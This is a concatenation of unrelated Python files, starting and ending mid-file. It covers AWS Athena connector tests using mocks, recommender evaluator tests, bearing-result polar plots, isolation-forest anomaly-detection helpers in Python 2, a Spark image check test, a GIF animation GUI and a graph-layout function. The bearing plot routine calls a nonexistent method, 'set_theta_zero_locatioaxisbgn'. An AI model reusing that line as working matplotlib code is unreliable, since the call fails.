transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
results_response = transmission.results(search_id, offset, length)
assert results_response is not None
assert 'success' in results_response
assert results_response['success'] is True
assert 'data' in results_response
assert results_response['data'] is not None
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_delete_query_connection(mock_delete_query):
mock_delete_query.return_value = AWSMockJsonResponse()
search_id = "0c8ed381-f1c8-406d-a293-406b64607870"
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
delete_response = transmission.delete(search_id)
assert delete_response is not None
assert 'success' in delete_response
assert delete_response['success'] is True
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_delete_query_exception(mock_create_status):
mock_create_status.return_value = MockExceptionResponse()
search_id = '0c8ed381-f1c8-406d-a293-406b64604323:vpcflow'
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
status_response = transmission.delete(search_id)
assert status_response is not None
assert 'success' in status_response
assert status_response['success'] is False
assert 'error' in status_response
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_create_status_connection(mock_create_status):
mock_create_status.return_value = AWSMockJsonResponse()
search_id = "0c8ed381-f1c8-406d-a293-406b64607870"
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
status_response = transmission.status(search_id)
assert status_response is not None
assert 'success' in status_response
assert status_response['success'] is True
assert 'status' in status_response
assert status_response['status'] == 'COMPLETED'
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_create_status_running(mock_create_status):
mock_create_status.return_value = MockStatusResponseRunning()
search_id = "0c8ed381-f1c8-406d-a293-406b64607870"
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
status_response = transmission.status(search_id)
assert status_response is not None
assert 'success' in status_response
assert status_response['success'] is True
assert 'status' in status_response
assert status_response['status'] == 'RUNNING'
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_create_status_exception(mock_create_status):
mock_create_status.return_value = MockExceptionResponse()
search_id = "xyz"
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
status_response = transmission.status(search_id)
assert status_response is not None
assert 'success' in status_response
assert status_response['success'] is False
assert 'error' in status_response
assert status_response['code'] == 'invalid_parameter'
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_ping_connection(mock_create_status):
mock_create_status.return_value = AWSMockJsonResponse()
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
ping_response = transmission.ping()
assert ping_response is not None
assert 'success' in ping_response
assert ping_response['success'] is True
@staticmethod
@patch('stix_shifter_modules.aws_athena.stix_transmission.boto3_client.boto3.client')
def test_ping_exception(mock_create_status):
mock_create_status.return_value = MockExceptionResponse()
transmission = stix_transmission.StixTransmission('aws_athena', CONNECTION, CONFIGURATION)
ping_response = transmission.ping()
assert ping_response is not None
assert 'success' in ping_response
assert ping_response['success'] is False
assert 'error' in ping_response
assert ping_response['code'] == 'authentication_fail'
|
490924
|
from nose.tools import assert_equals, assert_almost_equals, assert_raises, assert_true
from ...similarities.basic_similarities import UserSimilarity
from ...metrics.pairwise import euclidean_distances, jaccard_coefficient
from ...models.classes import MatrixPreferenceDataModel, \
MatrixBooleanPrefDataModel
from ...recommenders.knn import UserBasedRecommender
from ..classes import CfEvaluator
from ...recommenders.knn.neighborhood_strategies import NearestNeighborsStrategy
movies = {'<NAME>': {'Lady in the Water': 2.5, 'Snakes on a Plane': 3.5,
'Just My Luck': 3.0, 'Superman Returns': 3.5, 'You, Me and Dupree': 2.5,
'The Night Listener': 3.0},
'<NAME>': {'Lady in the Water': 3.0, 'Snakes on a Plane': 3.5,
'Just My Luck': 1.5, 'Superman Returns': 5.0, 'The Night Listener': 3.0,
'You, Me and Dupree': 3.5},
'<NAME>': {'Lady in the Water': 2.5, 'Snakes on a Plane': 3.0,
'Superman Returns': 3.5, 'The Night Listener': 4.0},
'<NAME>': {'Snakes on a Plane': 3.5, 'Just My Luck': 3.0,
'The Night Listener': 4.5, 'Superman Returns': 4.0,
'You, Me and Dupree': 2.5},
'<NAME>': {'Lady in the Water': 3.0, 'Snakes on a Plane': 4.0,
'Just My Luck': 2.0, 'Superman Returns': 3.0, 'The Night Listener': 3.0,
'You, Me and Dupree': 2.0},
'Sheldom': {'Lady in the Water': 3.0, 'Snakes on a Plane': 4.0,
'The Night Listener': 3.0, 'Superman Returns': 5.0, 'You, Me and Dupree': 3.5},
'<NAME>': {'Snakes on a Plane': 4.5, 'You, Me and Dupree': 1.0,
'Superman Returns': 4.0},
'<NAME>': {}}
model = MatrixPreferenceDataModel(movies)
boolean_model = MatrixBooleanPrefDataModel(movies)
similarity = UserSimilarity(model, euclidean_distances)
boolean_similarity = UserSimilarity(boolean_model, jaccard_coefficient)
neighborhood = NearestNeighborsStrategy()
recsys = UserBasedRecommender(model, similarity, neighborhood)
boolean_recsys = UserBasedRecommender(boolean_model, boolean_similarity, neighborhood)
def test_root_CfEvaluator_evaluate():
"""Check evaluate method in CfEvaluator """
evaluator = CfEvaluator()
#Test with invalid metric
assert_raises(ValueError, evaluator.evaluate, recsys, 'rank')
#Test with specified metric
rmse = evaluator.evaluate(recsys, 'rmse', permutation=False)
assert_true(rmse['rmse'] >= 0.0 and rmse['rmse'] <= 1.0)
mae = evaluator.evaluate(recsys, 'mae', permutation=False)
assert_true(mae['mae'] >= 0.0 and mae['mae'] <= 1.0)
nmae = evaluator.evaluate(recsys, 'nmae', permutation=False)
assert_true(nmae['nmae'] >= 0.0 and nmae['nmae'] <= 1.0)
precision = evaluator.evaluate(recsys, 'precision',
permutation=False)
assert_true(precision['precision'] >= 0.0 and precision['precision'] <= 1.0)
recall = evaluator.evaluate(recsys, 'recall', permutation=False)
assert_true(recall['recall'] >= 0.0 and recall['recall'] <= 1.0)
f1score = evaluator.evaluate(recsys, 'f1score', permutation=False)
assert_true(f1score['f1score'] >= 0.0 and f1score['f1score'] <= 1.0)
all_scores = evaluator.evaluate(recsys, permutation=False)
assert_true(all_scores['f1score'] >= 0.0 and all_scores['f1score'] <= 1.0)
assert_true(all_scores['recall'] >= 0.0 and all_scores['recall'] <= 1.0)
assert_true(all_scores['precision'] >= 0.0 and all_scores['precision'] <= 1.0)
assert_true(all_scores['nmae'] >= 0.0 and all_scores['nmae'] <= 1.0)
assert_true(all_scores['mae'] >= 0.0 and all_scores['mae'] <= 1.0)
assert_true(all_scores['rmse'] >= 0.0 and all_scores['rmse'] <= 1.0)
#With values at sampling.
nmae = evaluator.evaluate(recsys, 'nmae', permutation=False,
sampling_users=0.6, sampling_ratings=0.6)
assert_true(nmae['nmae'] >= 0.0 and nmae['nmae'] <= 1.0)
#Test with boolean recsys
assert_raises(ValueError, evaluator.evaluate, boolean_recsys, 'rank')
#Test with specified metric
rmse = evaluator.evaluate(boolean_recsys, 'rmse', permutation=False)
assert_true(rmse['rmse'] >= 0.0 and rmse['rmse'] <= 1.0)
mae = evaluator.evaluate(boolean_recsys, 'mae', permutation=False)
assert_true(mae['mae'] >= 0.0 and mae['mae'] <= 1.0)
nmae = evaluator.evaluate(boolean_recsys, 'nmae', permutation=False)
assert_true(nmae['nmae'] >= 0.0 and nmae['nmae'] <= 1.0)
precision = evaluator.evaluate(boolean_recsys, 'precision',
permutation=False)
assert_true(precision['precision'] >= 0.0 and precision['precision'] <= 1.0)
recall = evaluator.evaluate(boolean_recsys, 'recall', permutation=False)
assert_true(recall['recall'] >= 0.0 and recall['recall'] <= 1.0)
f1score = evaluator.evaluate(boolean_recsys, 'f1score', permutation=False)
assert_true(f1score['f1score'] >= 0.0 and f1score['f1score'] <= 1.0)
all_scores = evaluator.evaluate(recsys, permutation=False)
assert_true(all_scores['f1score'] >= 0.0 and all_scores['f1score'] <= 1.0)
assert_true(all_scores['recall'] >= 0.0 and all_scores['recall'] <= 1.0)
assert_true(all_scores['precision'] >= 0.0 and all_scores['precision'] <= 1.0)
assert_true(all_scores['nmae'] >= 0.0 and all_scores['nmae'] <= 1.0)
assert_true(all_scores['mae'] >= 0.0 and all_scores['mae'] <= 1.0)
assert_true(all_scores['rmse'] >= 0.0 and all_scores['rmse'] <= 1.0)
#With values at sampling.
nmae = evaluator.evaluate(boolean_recsys, 'nmae', permutation=False,
sampling_users=0.6, sampling_ratings=0.6)
assert_true(nmae['nmae'] >= 0.0 and nmae['nmae'] <= 1.0)
def test_root_CfEvaluator_evaluate_on_split():
"""Check evaluate_on_split method in CfEvaluator """
evaluator = CfEvaluator()
#Test with invalid metric
assert_raises(ValueError, evaluator.evaluate_on_split, recsys, 'rank')
#Test with specified metric
rmse = evaluator.evaluate_on_split(recsys, 'rmse', permutation=False)
for p in rmse[0]['error']:
assert_true(p['rmse'] >= 0.0 and p['rmse'] <= 1.0)
assert_true(rmse[1]['final_error']['avg']['rmse'] >= 0.0 and
rmse[1]['final_error']['stdev']['rmse'] <= 1.0)
mae = evaluator.evaluate_on_split(recsys, 'mae', permutation=False)
for p in mae[0]['error']:
assert_true(p['mae'] >= 0.0 and p['mae'] <= 1.0)
assert_true(mae[1]['final_error']['avg']['mae'] >= 0.0 and
mae[1]['final_error']['stdev']['mae'] <= 1.0)
nmae = evaluator.evaluate_on_split(recsys, 'nmae', permutation=False)
for p in nmae[0]['error']:
assert_true(p['nmae'] >= 0.0 and p['nmae'] <= 1.0)
assert_true(nmae[1]['final_error']['avg']['nmae'] >= 0.0 and
nmae[1]['final_error']['stdev']['nmae'] <= 1.0)
#Test with IR statistics
precision = evaluator.evaluate_on_split(recsys, 'precision', permutation=False)
for p in precision[0]['ir']:
assert_true(p['precision'] >= 0.0 and p['precision'] <= 1.0)
assert_true(precision[1]['final_error']['avg']['precision'] >= 0.0 and
precision[1]['final_error']['stdev']['precision'] <= 1.0)
recall = evaluator.evaluate_on_split(recsys, 'recall', permutation=False)
for p in recall[0]['ir']:
assert_true(p['recall'] >= 0.0 and p['recall'] <= 1.0)
assert_true(recall[1]['final_error']['avg']['recall'] >= 0.0 and
recall[1]['final_error']['stdev']['recall'] <= 1.0)
f1score = evaluator.evaluate_on_split(recsys, 'f1score', permutation=False)
for p in f1score[0]['ir']:
assert_true(p['f1score'] >= 0.0 and p['f1score'] <= 1.0)
assert_true(f1score[1]['final_error']['avg']['f1score'] >= 0.0 and
f1score[1]['final_error']['stdev']['f1score'] <= 1.0)
all_scores = evaluator.evaluate_on_split(recsys, permutation=False)
for p in all_scores[0]['ir']:
assert_true(p['f1score'] >= 0.0 and p['f1score'] <= 1.0)
assert_true(p['recall'] >= 0.0 and p['recall'] <= 1.0)
assert_true(p['precision'] >= 0.0 and p['precision'] <= 1.0)
for p in all_scores[0]['error']:
assert_true(p['mae'] >= 0.0 and p['mae'] <= 1.0)
assert_true(p['rmse'] >= 0.0 and p['rmse'] <= 1.0)
assert_true(p['nmae'] >= 0.0 and p['nmae'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['f1score'] >= 0.0 and
all_scores[1]['final_error']['stdev']['f1score'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['recall'] >= 0.0 and
all_scores[1]['final_error']['stdev']['recall'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['precision'] >= 0.0 and
all_scores[1]['final_error']['stdev']['precision'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['rmse'] >= 0.0 and
all_scores[1]['final_error']['stdev']['rmse'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['mae'] >= 0.0 and
all_scores[1]['final_error']['stdev']['mae'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['nmae'] >= 0.0 and
all_scores[1]['final_error']['stdev']['nmae'] <= 1.0)
#Test with boolean model
#Test with invalid metric
assert_raises(ValueError, evaluator.evaluate_on_split, boolean_recsys, 'rank')
#Test with specified metric
rmse = evaluator.evaluate_on_split(boolean_recsys, 'rmse', permutation=False)
for p in rmse[0]['error']:
assert_true(p['rmse'] >= 0.0 and p['rmse'] <= 1.0)
assert_true(rmse[1]['final_error']['avg']['rmse'] >= 0.0 and
rmse[1]['final_error']['stdev']['rmse'] <= 1.0)
mae = evaluator.evaluate_on_split(boolean_recsys, 'mae', permutation=False)
for p in mae[0]['error']:
assert_true(p['mae'] >= 0.0 and p['mae'] <= 1.0)
assert_true(mae[1]['final_error']['avg']['mae'] >= 0.0 and
mae[1]['final_error']['stdev']['mae'] <= 1.0)
nmae = evaluator.evaluate_on_split(boolean_recsys, 'nmae', permutation=False)
for p in nmae[0]['error']:
assert_true(p['nmae'] >= 0.0 and p['nmae'] <= 1.0)
assert_true(nmae[1]['final_error']['avg']['nmae'] >= 0.0 and
nmae[1]['final_error']['stdev']['nmae'] <= 1.0)
#Test with IR statistics
precision = evaluator.evaluate_on_split(boolean_recsys, 'precision', permutation=False)
for p in precision[0]['ir']:
assert_true(p['precision'] >= 0.0 and p['precision'] <= 1.0)
assert_true(precision[1]['final_error']['avg']['precision'] >= 0.0 and
precision[1]['final_error']['stdev']['precision'] <= 1.0)
recall = evaluator.evaluate_on_split(boolean_recsys, 'recall', permutation=False)
for p in recall[0]['ir']:
assert_true(p['recall'] >= 0.0 and p['recall'] <= 1.0)
assert_true(recall[1]['final_error']['avg']['recall'] >= 0.0 and
recall[1]['final_error']['stdev']['recall'] <= 1.0)
f1score = evaluator.evaluate_on_split(boolean_recsys, 'f1score', permutation=False)
for p in f1score[0]['ir']:
assert_true(p['f1score'] >= 0.0 and p['f1score'] <= 1.0)
assert_true(f1score[1]['final_error']['avg']['f1score'] >= 0.0 and
f1score[1]['final_error']['stdev']['f1score'] <= 1.0)
all_scores = evaluator.evaluate_on_split(boolean_recsys, permutation=False)
for p in all_scores[0]['ir']:
assert_true(p['f1score'] >= 0.0 and p['f1score'] <= 1.0)
assert_true(p['recall'] >= 0.0 and p['recall'] <= 1.0)
assert_true(p['precision'] >= 0.0 and p['precision'] <= 1.0)
for p in all_scores[0]['error']:
assert_true(p['mae'] >= 0.0 and p['mae'] <= 1.0)
assert_true(p['rmse'] >= 0.0 and p['rmse'] <= 1.0)
assert_true(p['nmae'] >= 0.0 and p['nmae'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['f1score'] >= 0.0 and
all_scores[1]['final_error']['stdev']['f1score'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['recall'] >= 0.0 and
all_scores[1]['final_error']['stdev']['recall'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['precision'] >= 0.0 and
all_scores[1]['final_error']['stdev']['precision'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['rmse'] >= 0.0 and
all_scores[1]['final_error']['stdev']['rmse'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['mae'] >= 0.0 and
all_scores[1]['final_error']['stdev']['mae'] <= 1.0)
assert_true(all_scores[1]['final_error']['avg']['nmae'] >= 0.0 and
all_scores[1]['final_error']['stdev']['nmae'] <= 1.0)
|
490934
|
import math
import numpy as np
from Constants import SubDir
from system_functions import make_directory
import matplotlib.pyplot as plt
def generate_pub_figures(sys, sim):
"""Generate summary figure for Cylindrical Roller Bearing Tribosystems"""
plot_axis_pol = np.linspace(-math.pi, math.pi - 2 * math.pi / sys.res_pol,
int(sys.res_pol))
pv_max_ring1 = np.concatenate(
(sys.pv_ring1[round(sys.res_pol / 2) - 1:-1, :],
sys.pv_ring2[0:round(sys.res_pol / 2), :]), axis=0)
eakin_data = np.concatenate(
(sys.e_akin_ring2.transpose()[round(sys.res_pol / 2) - 1:-1, :],
sys.e_akin_ring2.transpose()[0:round(sys.res_pol / 2), :]), axis=0)
pressure_data = np.concatenate(
(sys.max_pressure_ring1[round(sys.res_pol / 2) - 1:-1, :],
sys.max_pressure_ring1[0:round(sys.res_pol / 2), :]), axis=0)
plt.figure()
ax = plt.subplot(111, polar=True, facecolor='White')
ax.grid(True)
ax.plot(plot_axis_pol,
pv_max_ring1[:, round(sys.roller.res_x / 2) - 1] / np.amax(
pv_max_ring1), 'k-', label='pv')
ax.plot(plot_axis_pol,
eakin_data[:, round(sys.roller.res_x / 2) - 1] / np.amax(
eakin_data), 'k--', label='eakin')
ax.plot(plot_axis_pol,
pressure_data[:, round(sys.roller.res_x / 2) - 1] / np.amax(
pressure_data), 'k-.',
label='max pressure')
ax.plot(sys.pol_ax, sys.normal_forces / np.amax(sys.normal_forces), 'k:',
label='normal force')
ax.set_theta_zero_locatioaxisbgn("S")
ax.set_rlabel_position(112.5)
label_position = ax.get_rlabel_position()
r_max = 1.1
r_label = 'normalised value'
ax.text(math.radians(label_position + 15), r_max / 2, r_label,
rotation=22.5, ha='center', va='center')
ax.set_rmax(r_max)
make_directory(sim.results_folder, SubDir.pub_figs.value)
file_handle = sim.results_folder + '/' + SubDir.pub_figs.value + '/' + \
'normalised-inner-ring' + '.png'
plt.savefig(file_handle, bbox_inches='tight', dpi=300)
plt.close()
|
490942
|
import os
import numpy as np
import matplotlib.pyplot as plt
import logging
from pandas import DataFrame
from app_globals import *
from alad_support import *
from r_support import matrix, cbind
from alad_iforest import *
from data_plotter import *
from results_support import *
def get_queried_indexes(scores, labels, opts):
# logger.debug("computing queried indexes...")
queried = np.argsort(-scores)[0:opts.budget]
num_seen = np.cumsum(labels[queried[np.arange(opts.budget)]])
return num_seen, queried
def write_baseline_query_indexes(queried_info, opts):
logger.debug("writing baseline queries...")
queried = np.zeros(shape=(len(queried_info), opts.budget + 2), dtype=int)
num_seen = np.zeros(shape=(len(queried_info), opts.budget + 2), dtype=int)
for i, info in enumerate(queried_info):
num_seen[i, 2:(opts.budget + 2)] = info[0]
num_seen[i, 0] = 1
queried[i, 2:(opts.budget + 2)] = info[1] + 1 # make indexes relative 1, *not* 0
queried[i, 0] = 1
prefix = opts.get_alad_metrics_name_prefix()
baseline_file = os.path.join(opts.resultsdir, "%s-baseline.csv" % (prefix,))
# np.savetxt(baseline_file, num_seen, fmt='%d', delimiter=',')
queried_idxs_baseline_file = os.path.join(opts.resultsdir, "%s-queried-baseline.csv" % (prefix,))
np.savetxt(queried_idxs_baseline_file, queried, fmt='%d', delimiter=',')
def iforest_unit_tests_battery(X_train, labels, mdl, metrics, opts,
outputdir, dataset_name=""):
data_2D = X_train.shape[1] == 2
regcols = ["red", "blue", "green", "brown", "cyan", "pink", "orange", "magenta", "yellow", "violet"]
xx = None; yy = None
if data_2D:
# plot the line, the samples, and the nearest vectors to the plane
xx, yy = np.meshgrid(np.linspace(-4, 8, 50), np.linspace(-4, 8, 50))
# sidebar coordinates and dimensions for showing rank locations of true anomalies
dash_xy = (-4.0, -2.0) # bottom-left (x,y) coordinates
dash_wh = (0.4, 8) # width, height
output_iforest_original = False
output_transformed_to_file = False
test_loss_grad = False
plot_dataset = data_2D and True
plot_rectangular_regions = plot_dataset and False
plot_iforest_contours = data_2D and False
plot_baseline = data_2D and False
plot_aad = metrics is not None and data_2D and False
pdfpath_baseline = "%s/if_baseline.pdf" % outputdir
pdfpath_orig_if_contours = "%s/if_contours.pdf" % outputdir
logger.debug("Number of regions: %d" % len(mdl.d))
X_train_new = mdl.transform_to_region_features(X_train, dense=False)
if plot_dataset:
plot_dataset_2D(X_train, labels, mdl, plot_rectangular_regions, regcols, outputdir)
if output_iforest_original:
n_found = evaluate_iforest_original(X_train, labels, opts.budget, mdl, x_new=X_train_new)
np.savetxt(os.path.join(outputdir, "iforest_original_num_found_%s.csv" % dataset_name),
n_found, fmt='%3.2f', delimiter=",")
if plot_iforest_contours:
plot_iforest_contours_2D(X_train, labels, xx, yy, opts.budget, mdl,
pdfpath_orig_if_contours, dash_xy, dash_wh)
if output_transformed_to_file:
write_sparsemat_to_file(os.path.join(outputdir, "iforest_features.csv"),
X_train_new, fmt='%3.2f', delimiter=",")
x_tmp = np.vstack((mdl.d, mdl.node_samples, mdl.frac_insts))
write_sparsemat_to_file(os.path.join(outputdir, "iforest_node_info.csv"),
x_tmp.T, fmt='%3.2f', delimiter=",")
if test_loss_grad:
test_iforest_loss_grad(X_train_new, labels, mdl, opts)
if plot_baseline:
plot_iforest_baseline_contours_2D(X_train, labels, X_train_new, xx, yy, opts.budget, mdl,
pdfpath_baseline, dash_xy, dash_wh)
if plot_aad and metrics is not None:
plot_aad_2D(X_train, labels, X_train_new, xx, yy, mdl,
metrics, outputdir, dash_xy, dash_wh)
def get_original_iforest_results(x, y, if_model, fid, runidx, opts):
num_seen = np.zeros(shape=(1, opts.budget + 2), dtype=int)
counts = evaluate_iforest_original(x, y, opts.budget, if_model)
num_seen[0, 0:2] = [fid, runidx]
num_seen[0, 2:(opts.budget + 2)] = counts
return num_seen
def plot_aad_2D(x, y, x_iforest, xx, yy, if_model, metrics,
outputdir, dash_xy, dash_wh):
# use this to plot the AAD feedback
x_test = np.c_[xx.ravel(), yy.ravel()]
x_if = if_model.transform_to_region_features(x_test, dense=False)
queried = np.array(metrics.queried)
for i, q in enumerate(queried):
pdfpath = "%s/iter_%02d.pdf" % (outputdir, i)
dp = DataPlotter(pdfpath=pdfpath, rows=1, cols=1)
pl = dp.get_next_plot()
w = metrics.all_weights[i, :]
Z = if_model.get_score(x_if, w)
Z = Z.reshape(xx.shape)
pl.contourf(xx, yy, Z, 20)
dp.plot_points(x, pl, labels=y, lbl_color_map={0: "grey", 1: "red"}, s=25)
# print queried[np.arange(i+1)]
# print X_train[queried[np.arange(i+1)], :]
dp.plot_points(matrix(x[queried[np.arange(i+1)], :], nrow=i+1),
pl, labels=y[queried[np.arange(i+1)]], defaultcol="red",
lbl_color_map={0: "green", 1: "red"}, edgecolor="black",
marker=matplotlib.markers.MarkerStyle('o', fillstyle=None), s=35)
# plot the sidebar
anom_scores = if_model.get_score(x_iforest, w)
anom_order = np.argsort(-anom_scores)
anom_idxs = np.where(y[anom_order] == 1)[0]
dash = 1 - (anom_idxs * 1.0 / x.shape[0])
plot_sidebar(dash, dash_xy, dash_wh, pl)
dp.close()
def test_iforest_loss_grad(x_iforest, y, if_model, opts):
n = x_iforest.shape[0]
bt = get_budget_topK(n, opts)
w = np.ones(len(if_model.d), dtype=float)
w = w / w.dot(w) # normalized uniform weights
qval = if_model.get_aatp_quantile(x_iforest, w, bt.topK)
w_unifprior = np.ones(len(if_model.d), dtype=float)
w_unifprior = w_unifprior / w_unifprior.dot(w_unifprior)
print "topK=%d, budget=%d, qval=%8.5f" % (bt.topK, bt.budget, qval)
theta = np.zeros(w.shape, dtype=float)
loss = if_model.if_aad_loss_linear(w, x_iforest[1:10, :], y[1:10], qval,
Ca=opts.Ca, Cn=opts.Cn,
withprior=opts.withprior, w_prior=w_unifprior,
sigma2=opts.priorsigma2)
print "loss: %f" % loss
loss_grad = if_model.if_aad_loss_gradient_linear(w, x_iforest[1:10, :], y[1:10], qval,
Ca=opts.Ca, Cn=opts.Cn,
withprior=opts.withprior, w_prior=w_unifprior,
sigma2=opts.priorsigma2)
logger.debug("loss_grad")
logger.debug(loss_grad)
def evaluate_iforest_original(x, y, budget, if_model, x_new=None):
original_scores = 0.5 - if_model.decision_function(x)
queried = np.argsort(-original_scores)
n_found_orig = np.cumsum(y[queried[np.arange(budget)]])
# logger.debug("original isolation forest:")
# logger.debug(n_found_orig)
if x_new is not None:
w = np.ones(len(if_model.d), dtype=float)
w = w / w.dot(w) # normalized uniform weights
agg_scores = if_model.get_score(x_new, w)
queried = np.argsort(-agg_scores)
n_found_baseline = np.cumsum(y[queried[np.arange(budget)]])
n_found = np.vstack((n_found_baseline, n_found_orig)).T
else:
n_found = n_found_orig.T
return n_found
def plot_iforest_baseline_contours_2D(x, y, x_iforest, xx, yy, budget, if_model,
pdfpath_if_contours, dash_xy, dash_wh):
# use this to plot baseline query points.
w = np.ones(len(if_model.d), dtype=float)
w = w / w.dot(w) # normalized uniform weights
baseline_scores = if_model.get_score(x_iforest, w)
queried = np.argsort(-baseline_scores)
n_found = np.cumsum(y[queried[np.arange(budget)]])
print n_found
dp = DataPlotter(pdfpath=pdfpath_if_contours, rows=1, cols=1)
pl = dp.get_next_plot()
x_test = np.c_[xx.ravel(), yy.ravel()]
x_if = if_model.transform_to_region_features(x_test, dense=False)
y_if = if_model.get_score(x_if, w)
Z = y_if.reshape(xx.shape)
pl.contourf(xx, yy, Z, 20)
dp.plot_points(x, pl, labels=y, lbl_color_map={0: "grey", 1: "red"}, s=25)
# print queried[np.arange(i+1)]
# print X_train[queried[np.arange(i+1)], :]
dp.plot_points(matrix(x[queried[np.arange(budget)], :], nrow=budget),
pl, labels=y[queried[np.arange(budget)]], defaultcol="red",
lbl_color_map={0: "green", 1: "red"}, edgecolor="black",
marker=matplotlib.markers.MarkerStyle('o', fillstyle=None), s=35)
# plot the sidebar
anom_idxs = np.where(y[queried] == 1)[0]
dash = 1 - (anom_idxs * 1.0 / x.shape[0])
plot_sidebar(dash, dash_xy, dash_wh, pl)
dp.close()
def plot_iforest_contours_2D(x, y, xx, yy, budget, if_model, pdfpath_if_contours, dash_xy, dash_wh):
# Original IsolationForest contours
baseline_scores = 0.5 - if_model.decision_function(x)
queried = np.argsort(-baseline_scores)
n_found = np.cumsum(y[queried[np.arange(budget)]])
print n_found
Z_if = 0.5 - if_model.decision_function(np.c_[xx.ravel(), yy.ravel()])
Z_if = Z_if.reshape(xx.shape)
dp = DataPlotter(pdfpath=pdfpath_if_contours, rows=1, cols=1)
pl = dp.get_next_plot()
pl.contourf(xx, yy, Z_if, 20)
dp.plot_points(x, pl, labels=y, lbl_color_map={0: "grey", 1: "red"})
dp.plot_points(matrix(x[queried[np.arange(budget)], :], nrow=budget),
pl, labels=y[queried[np.arange(budget)]], defaultcol="red",
lbl_color_map={0: "green", 1: "red"}, edgecolor="black",
marker=matplotlib.markers.MarkerStyle('o', fillstyle=None), s=35)
# plot the sidebar
anom_idxs = np.where(y[queried] == 1)[0]
dash = 1 - (anom_idxs * 1.0 / x.shape[0])
plot_sidebar(dash, dash_xy, dash_wh, pl)
dp.close()
def plot_dataset_2D(x, y, if_model, plot_regions, regcols, pdf_folder):
# use this to plot the dataset
treesig = "_%d_trees" % if_model.n_estimators if plot_regions else ""
pdfpath_dataset = "%s/synth_dataset%s.pdf" % (pdf_folder, treesig)
dp = DataPlotter(pdfpath=pdfpath_dataset, rows=1, cols=1)
pl = dp.get_next_plot()
# dp.plot_points(x, pl, labels=y, lbl_color_map={0: "grey", 1: "red"})
dp.plot_points(x[y==0, :], pl, labels=y[y==0], defaultcol="grey")
dp.plot_points(x[y==1, :], pl, labels=y[y==1], defaultcol="red", s=26, linewidths=1.5)
if plot_regions:
# plot the isolation forest tree regions
axis_lims = (plt.xlim(), plt.ylim())
for i, regions in enumerate(if_model.regions_in_forest):
for region in regions:
region = region.region
plot_rect_region(pl, region, regcols[i % len(regcols)], axis_lims)
dp.close()
|
491020
|
import unittest
from unittest import mock
from docker.errors import ContainerError
from custom_image_cli.helper import logging
from custom_image_cli.validation_tool.validation_tests.check_local_job_run import CheckLocalJobRun
class TestCheckLocalSparkJob(unittest.TestCase):
def setUp(self) -> None:
self.log = logging.Log()
@mock.patch('custom_image_cli.helper.docker_util.docker_cl.DockerCommand')
def test_check(self, docker_constructor):
docker_cmd = docker_constructor.return_value
logger = self.log
sanity_check_instance = CheckLocalJobRun('image_uri', docker_cmd, logger)
docker_cmd.docker_run = mock.Mock(return_value=None)
with self.assertLogs(logger.log) as t:
result = sanity_check_instance.check()
docker_cmd.docker_run.assert_called_once()
self.assertEqual(result, 1)
expected = 'INFO:logger:Sample Spark Job Test with ' \
'local:///usr/lib/spark/examples/jars/spark-examples.jar : PASS'
self.assertIn(expected, t.output)
docker_cmd.docker_run.side_effect = ContainerError(None, '', '', '', None)
with self.assertLogs(logger.log) as t:
result = sanity_check_instance.check()
self.assertEqual(result, 0)
expected = 'ERROR:logger:Sample Spark Job Test with ' \
'local:///usr/lib/spark/examples/jars/spark-examples.jar : FAIL'
self.assertIn(expected, t.output)
|
491030
|
from ..gif_gui import GifGui
import numpy
import matplotlib.pyplot as plt
import matplotlib.animation as animation
import matplotlib
from typing import List, Optional
matplotlib.rc("animation", html="html5")
from ..gui_base import GuiBase
class MatplotlibGifGui(GifGui):
class Settings(GifGui.Settings):
resolution: List[int] = [400, 400]
scale: float = 10
fps: int = 24 # we overwrite this here!
t: float = 10
def __init__(self, testbed_cls, settings, testbed_settings):
super(MatplotlibGifGui, self).__init__(
testbed_cls=testbed_cls,
settings=settings,
testbed_settings=testbed_settings,
)
# run the world for a limited amount of steps
def start_ui(self):
self._testworld = self.testbed_cls(settings=self.testbed_settings)
self._testworld.set_debug_draw(self.debug_draw)
self._image_list = []
def make_next_img():
self._testworld.step(self._dt)
self._testworld.draw_debug_data()
ret = self.image.copy()
self.image[...] = 0
return numpy.swapaxes(ret, 0, 1)
images = [make_next_img() for _ in range(self._n)]
fig, ax = plt.subplots()
imshow = plt.imshow(images[0])
def _update_plt(num):
imshow.set_data(images[num])
return (imshow,)
dt = self._dt
self.ani = animation.FuncAnimation(
fig,
_update_plt,
frames=self._n,
interval=dt * 1000.0,
blit=True,
save_count=self._n,
repeat_delay=500,
cache_frame_data=False,
)
return self.ani
# return self._testworld, self
|
491035
|
import math
def apply_repulsion(repulsion, nodes, barnes_hut_optimize=False, region=None, barnes_hut_theta=1.2):
"""
Iterate through the nodes or edges and apply the forces directly to the node objects.
"""
if not barnes_hut_optimize:
for i in range(0, len(nodes)):
for j in range(0, i):
repulsion.apply_node_to_node(nodes[i], nodes[j])
else:
for i in range(0, len(nodes)):
